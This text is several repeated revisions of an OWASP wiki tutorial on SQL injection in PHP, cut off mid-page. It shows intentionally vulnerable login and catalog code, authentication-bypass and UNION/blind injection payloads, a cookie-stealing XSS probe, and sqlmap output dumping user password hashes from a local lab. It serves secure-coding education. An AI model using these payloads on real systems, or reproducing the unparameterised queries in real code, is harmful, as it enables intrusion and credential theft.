To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Backend Database Enumeration ===<br />
<br />
Blind SQL Injection is a very usefull attacks to enumerate backend DBMS data. We'll see in this section how to accomplish this task.<br />
<br />
As you remember our WEB Page is vulnerable to Blind SQL Injection since:<br />
<br />
* <nowiki> /catalog.php?id=1</nowiki> gives the same contents of <nowiki>/catalog.php?id=1 AND 1=1</nowiki><br />
* <nowiki> /catalog.php?id=1</nowiki> differs from <nowiki>/catalog.php?id=1 AND 1=0</nowiki><br />
<br />
'''Replacing TRUE expression: 1=1:''' <br />
<br />
Let's start with a simple example. We want to enumerate current database name. MySQL has a builtint function<br />
to accomplish this task: ''database()'':<br />
<br />
<nowiki> SELECT database()</nowiki><br />
<br />
''database()'' returns a string containing current database name. To find it's values through a Blind SQL Injection we need to catch out one character at time from it's result value.<br />
<br />
'''How to find out database() length:'''<br />
<br />
We know that ''SELECT LENGTH(database())'' return length of current database name. How can we find out it's value?<br />
<br />
By starting from 1 we need to compare original WEB Page with:<br />
* id=1 AND (LENGTH(database()) = 1)<br />
* id=1 AND (LENGTH(database()) = 2)<br />
* id=1 AND (LENGTH(database()) = 3)<br />
''....''<br />
<br />
until we find contents from starting page:<br />
* ''id=1 AND (LENGTH(database()) = 5)''<br />
<br />
We just find that current database name length is equals to five. Next step is to enumerate it's characters.<br />
<br />
''' database() chars enumeration: '''<br />
<br />
To this aim we need to use:<br />
* ''SUBSTR(string, offset, length):'' returns a substring of ''string'' starting from ''offset'' till<br />
''offset + length - 1''<br />
* ''ORD(char):'' returns ASCII value of ''char''<br />
<br />
It's easy to guess that:<br />
<br />
* ''ORD(SUBSTR(database,1,1)'' will return first char of ''database()<br />
* ''ORD(SUBSTR(database,2,1)'' will return second char of ''database()<br />
* ''ORD(SUBSTR(database,3,1)'' will return third char of ''database()<br />
and so on.<br />
<br />
These are some of techniques used by ''sqlmap'' to enumerate DBMS contents by exploiting a Blind SQL Injection Vulnerability.<br />
<br />
<nowiki><br />
[522] belch@wild:sqlmap/ => ./sqlmap.py --current-db -u "http://localhost/owaspbes/securecoding/catalog.php?id=1"<br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:45:06<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
current database: 'owasp'<br />
<br />
[*] shutting down at: 23:45:08<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[526] belch@wild:sqlmap/ => ./sqlmap.py --tables --database owasp -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:46:44<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
[2 tables]<br />
+-------+<br />
| books |<br />
| users |<br />
+-------+<br />
<br />
[*] shutting down at: 23:46:47<br />
<br />
</nowiki><br />
<br />
<br />
<nowiki><br />
[533] belch@wild:sqlmap/ => ./sqlmap.py -T users --database owasp --dump -u "http://localhost/owaspbes/securecoding/catalog.php?id=1" <br />
<br />
sqlmap/0.6-rc5 coded by inquis <bernardo.damele@gmail.com><br />
and belch <daniele.bellucci@gmail.com><br />
<br />
[*] starting at: 23:48:08<br />
<br />
remote DBMS: MySQL >= 5.0.0<br />
<br />
Database: owasp<br />
Table: users<br />
[3 entries]<br />
+----+----------------------------------+----------+<br />
| id | password | username |<br />
+----+----------------------------------+----------+<br />
| 1 | 66f4b449b3a98abf87f2521e35513542 | larry |<br />
| 2 | 3b87c97d15e8eb11e51aa25e9a5770e9 | harry |<br />
| 3 | 21232f297a57a5a743894a0e4a801fc3 | admin |<br />
+----+----------------------------------+----------+<br />
<br />
[*] shutting down at: 23:48:22<br />
<br />
<br />
<br />
</nowiki><br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29501OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:36:05Z<p>Dbellucci: /* Backend Database Enumeration */</p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Backend Database Enumeration ===<br />
<br />
Blind SQL Injection is a very usefull attacks to enumerate backend DBMS data. We'll see in this section how to accomplish this task.<br />
<br />
As you remember our WEB Page is vulnerable to Blind SQL Injection since:<br />
<br />
* <nowiki> /catalog.php?id=1</nowiki> gives the same contents of <nowiki>/catalog.php?id=1 AND 1=1</nowiki><br />
* <nowiki> /catalog.php?id=1</nowiki> differs from <nowiki>/catalog.php?id=1 AND 1=0</nowiki><br />
<br />
'''Replacing TRUE expression: 1=1:''' <br />
<br />
Let's start with a simple example. We want to enumerate current database name. MySQL has a builtint function<br />
to accomplish this task: ''database()'':<br />
<br />
<nowiki> SELECT database()</nowiki><br />
<br />
''database()'' returns a string containing current database name. To find it's values through a Blind SQL Injection we need to catch out one character at time from it's result value.<br />
<br />
'''How to find out database() length:'''<br />
<br />
We know that ''SELECT LENGTH(database())'' return length of current database name. How can we find out it's value?<br />
<br />
By starting from 1 we need to compare original WEB Page with:<br />
* id=1 AND (SELECT(LENGTH(database())) = 1)<br />
* id=1 AND (SELECT(LENGTH(database())) = 2)<br />
* id=1 AND (SELECT(LENGTH(database())) = 3)<br />
''....''<br />
<br />
until we find contents from starting page:<br />
* '''id=1 AND (SELECT(LENGTH(database())) = 5)'''<br />
<br />
We just find that current database name length is equals to five. Next step is to enumerate it's characters.<br />
<br />
''' database() chars enumeration: '''<br />
<br />
To this aim we need to use:<br />
* '''SUBSTR(string, offset, length):''' returns a substring of '''string''' starting from '''offset'''<br />
till '''offset + length - 1'''<br />
* '''ORD(char):''' returns ASCII value of '''char'''<br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29500OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:15:57Z<p>Dbellucci: </p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
Such a login page well call ''login.php'' with supplied user credentials.<br />
<br />
<nowiki><br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
echo "Wellcome ".$sUserName;<br />
} else {<br />
die('Unauthorized Access');<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''db.inc:'''<br />
<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
<br />
=== Source Code Exposure ===<br />
<br />
As you can see ''login.php'' include ''db.inc'' to use ''iMysqlConnect'' whose aims is to<br />
return a resource link to backend MySQL engine. Since ''.inc'' files are not rendered<br />
by WEB Server through the ''PHP Module'' an evil user may retrieve it's content as shown<br />
in the following images:<br />
<br />
[[Image:Owasp_bsp_php_2.jpg]]<br />
<br />
<br />
=== Authentication Bypass ===<br />
<br />
<br />
On our examples user credentials are passed to ''login.php'' wich in turns call the following<br />
PHP function:<br />
<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
When user ''larry'' authenticate the following SQL Query it's executed:<br />
* SELECT username FROM users WHERE username='larry' AND password=md5('larry')<br />
<br />
Breaking such an authentication schema is quite simple, since we need to :<br />
<br />
* truncate backend authentication query<br />
* injection a boolean expression to override WHERE clausole<br />
<br />
<br />
* On MySQL ''#'' is used as a comment character then whatever follows is discarderd from the engine.<br />
* Since our WHERE clausole is something like ''expr AND expr'' we can override it by adding an identity expresssion (E.g.: OR 1=1)<br />
<br />
<br />
It follows that authentication can be bypassed by supplying the following credentials:<br />
* username: ''' OR 1=1#''<br />
* password: ''password''<br />
<br />
* username: ''username''<br />
* password: ''') OR 1=1 #''<br />
<br />
<br />
=== User Enumeration ===<br />
<br />
We learned on previous section that an evil user can bypass authentication schema by supplying <br />
the following credentials:<br />
<br />
* username: '''OR 1=1#''<br />
* password: ''password''<br />
<br />
Let'say again what does ''sAuthenticateUser'' performs:<br />
<br />
<nowiki><br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
</nowiki><br />
<br />
<br />
As you can see $query will contains the following SQL statement:<br />
* SELECT username FROM users WHERE username = '' OR 1=1#' AND password = md5('password')<br />
<br />
wich in turns will be executed in:<br />
<br />
<nowiki><br />
$result = mysql_query($query); <br />
</nowiki><br />
<br />
By adding a ''LIMIT'' operator after the ''OR'' clausole we can index every valid user with the following<br />
queries:<br />
<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 0,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 1,1<br />
* SELECT username FROM users WHERE username = '' OR 1=1 LIMIT 2,1<br />
* ''.... and so on''<br />
<br />
We can accomplish the above task by supplying the following ''username/password'' pairs:<br />
* username: ''' OR 1=1 LIMIT 0,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 1,1#''<br />
* password: ''password''<br />
<br />
<br />
* username: ''' OR 1=1 LIMIT 2,1#''<br />
* password: ''password''<br />
<br />
<br />
== Online Catalog ==<br />
<br />
Let take another example: an Online Book Store:<br />
<br />
[[Image:Owasp_bsp_php_3.jpg]]<br />
<br />
<br />
<br />
<br />
'''catalog.php:'''<br />
<br />
<nowiki><br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
<br />
<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
showBook($aBookEntry);<br />
</nowiki><br />
<br />
Basicaly it retrieves ''id'' parameter on GET query string and perform the following SQL query:<br />
* ''SELECT * FROM book WHERE id = $_GET['id']''<br />
<br />
As in ''Login Form'' no input validation is performed and SQL Query can be manipulated to returns<br />
arbitrary data and DBMS stored relations/records/functions as well.<br />
<br />
=== UNION SELECT Injection ===<br />
<br />
Since our Application is vulnerable to SQL Injection attacks we can injection a ''UNION SELECT'' statement<br />
to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve<br />
DBMS Fingerprint.<br />
<br />
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# </nowiki>'' differs from original page (id=1)<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# </nowiki>'' equals to original page (id=1)<br />
<br />
Well we just guessed that original page (''id=1'') evaluates 5 expression on ''SELECT'' statement.<br />
<br />
<br />
* Retrieve DBMS banner<br />
*: ''id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'<br />
* Retrieve current user<br />
*: ''id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#''<br />
<br />
=== Client Side SQL Injection ===<br />
<br />
If data retrieved from backend Database in not properly validated we can exploit SQL Injection vulnerabilities in ''catalog.php'' to perform a Cross Site Scripting Attack as well:<br />
<br />
* ''<nowiki>id=1 UNION ALL SELECT NULL,'<script>alert(document.cookie)</script>',NULL,NULL,NULL LIMIT 1,1#''</nowiki><br />
<br />
<br />
[[Image:Owasp_bsp_php_4.jpg]]<br />
<br />
<br />
=== BLIND SQL Injection ===<br />
<br />
While a SQL Injection occours web server may responds with error message describing why <br />
remove database engine fails to execute SQL statement. Sometime network administrator properly tune<br />
WEB Server to hide error message. When it occours you don't know if SQL Injection has been executed with no errors at all. Blind SQL Injection is identical except that attacker need to compare orginal page with the one where SQL statement has been injected in some way.<br />
<br />
<br />
We know that ''catalog.php'':<br />
<br />
<nowiki>function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
<br />
return $aBookEntry;<br />
<br />
}<br />
</nowiki> <br />
<br />
query backend database with the following SQL statement:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id']</nowiki><br />
<br />
which will retrieve the same record set of:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=1</nowiki><br />
<br />
while the following will retrieve an empty record set:<br />
<br />
<nowiki> SELECT * FROM book WHERE id=$_GET['id'] AND 1=0</nowiki><br />
<br />
You can easily guess than ''Blind SQL Injection'' can be checked by supplying to ''catalog.php'' the<br />
followings ''id'' parameters:<br />
* ''id=1 AND 1=1''<br />
* ''id=1 AND 1=0''<br />
<br />
First one will return the same page of ''/catalog.php?id=1'', latter will return a completely different pages. It's worst noticing that we can replace the above ''TRUE'' statement (''1=1'') with what ever we want to compare as a ''TRUE'' boolean identity expression.<br />
<br />
=== Backend Database Enumeration ===<br />
<br />
== Message Board ==<br />
<br />
= Application Security strategies =<br />
<br />
== Hiding DBMS connection strings ==<br />
<br />
== Single Quotes Escape ==<br />
<br />
== Prepared Statement ==<br />
<br />
== Data Validation ==<br />
<br />
== Security in Depth ==<br />
<br />
= Examples Revisited =<br />
<br />
== Login Form ==<br />
<br />
== Online Catalog ==<br />
<br />
== Message Board ==<br />
<br />
<br />
= Defeating Automated Tools =<br />
<br />
= References =<br />
<br />
= Tools =</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Preventing_SQL_Injection&diff=29499OWASP Backend Security Project PHP Preventing SQL Injection2008-05-18T21:13:47Z<p>Dbellucci: /* BLIND SQL Injection */</p>
<hr />
<div>= Examples =<br />
To better understand how to secure code a PHP application some examples of<br />
vulnerable code is provided in this paragraph. <br />
<br />
== Login Form ==<br />
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.<br />
<br />
<br />
Here follows the authentcation form: <br />
<br />
[[Image:Owasp_bsp_php_1.jpg]]<br />
<br />
